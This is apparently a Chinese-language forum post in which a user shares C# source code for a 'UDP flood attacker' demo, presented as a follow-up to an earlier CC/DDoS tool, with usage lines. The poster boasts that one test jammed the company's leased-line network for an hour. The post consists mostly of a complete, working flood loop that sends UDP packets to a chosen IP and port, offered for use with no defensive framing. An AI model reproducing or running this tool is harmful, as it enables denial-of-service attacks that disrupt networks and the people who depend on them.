TA的每日心情
 | 怒 2012-9-29 12:36 |
签到天数: 53 天
[LV.5]常住居民I
- UID
- 159612
- 注册时间
- 2011-11-20
- 最后登录
- 2012-9-29
- 在线时间
- 31 小时
- 阅读权限
- 20
- 积分
- 79
- 精华
- 0
|
继续发放一个C#的UDP洪水攻击器demo的源代码(跟刚才那个CC/DDOS攻击器一样,使用socket基类编程,不可多得,大家有钱的捧个钱场,没钱的捧个人场 ):
这个UDP攻击demo灰常猛,我测试了一次,把公司的专线网络堵塞了一个小时!
- using System.ComponentModel;
- using System.Net.Sockets;
- namespace DepthCharge
- {
- class UdpTest
- {
- bool run = false;
- BackgroundWorker worker;
- int count;
- string ip;
- int port;
- string content;
- public UdpTest(int count, string ip,int port, string content)
- {
- this.count=count;
- this.ip = ip;
- this.port = port;
- this.content = content;
- }
- public void start()
- {
- worker = new BackgroundWorker();
- worker.DoWork += new DoWorkEventHandler(doWork);
- worker.RunWorkerAsync();
- worker.WorkerSupportsCancellation = true;
- }
- public void stop()
- {
- run = false;
- worker.CancelAsync();
- }
- private void doWork(object sender, DoWorkEventArgs e)
- {
- run = true;
- var RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ip), port);
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(content);
- for (int i = count; i > 0 && run; --i)
- {
- Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) { Blocking = false };
- socket.SendTo(buf, SocketFlags.None, RHost);
- }
- }
- public bool Running { get{return run;} set{run=value;} }
- }
- }
复制代码
使用方法:
udptest = new UdpTest(int.Parse(udpcount.Text), this.udpip.Text, int.Parse(this.udpport.Text), this.udpcontent.Text);
udptest .start(); |
|
没有评论:
发表评论